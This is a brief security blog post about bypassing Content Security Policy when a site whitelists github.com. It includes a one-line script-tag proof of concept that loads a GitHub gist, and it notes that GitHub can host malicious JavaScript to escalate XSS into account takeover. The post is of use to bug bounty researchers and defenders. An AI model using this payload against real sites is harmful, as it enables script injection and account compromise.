HomeBug BountyBypass CSP for Bug Bounty: Leveraging GitHub for Script Execution

Bypass CSP for Bug Bounty: Leveraging GitHub for Script Execution

A Cyber Security Researcher named Omar shared bug bounty tips on their LinkedIn account about how to BYPASS CSP. He mentioned that bypassing the Content Security Policy (CSP) is possible when a website allows “github.com” in a script-src or default-src directive.

An example Proof of Concept (POC) looks something like this:

<script src=https://api.github.com/gist/anything?…</script>

In real-world scenarios, the GitHub link can be replaced with a link to the raw GitHub location of a malicious script.

Based on my experience as a web admin of this secry.me’s web, and as a bug hunter, this CSP bypass technique can be valuable when attempting to escalate an XSS bug to account takeover or privilege escalation. If you need a lengthy JavaScript script for this purpose, you can use GitHub to host the malicious JavaScript and call it for execution on the target web using “<script src>.”

 

This tip is shared by octagon-network.

Christin
Christinhttps://secry.me/explore
A cybersecurity practitioner with more than 5 years of experience in the cybersecurity world. Has an interest in creating simple blog websites, learning about SEO and graphic design, writing, AI, and understanding the concepts of journalism. Intentionally created this website to make the world of cybersecurity more engaging by combining it with journalistic principles and presenting cybersecurity stories that are easy to understand, which can help anyone who wants to develop in the cybersecurity world.

RELATED ARTICLES

1 COMMENT

  1. buy iptv with crypto

    reflection essay on writingwriting a critical essaywriting descriptive essay

LEAVE A REPLY

Please enter your comment!
Please enter your name here

1 × 5 =

Most Popular

GOOGLE ADVERTISEMENT

- Advertisement -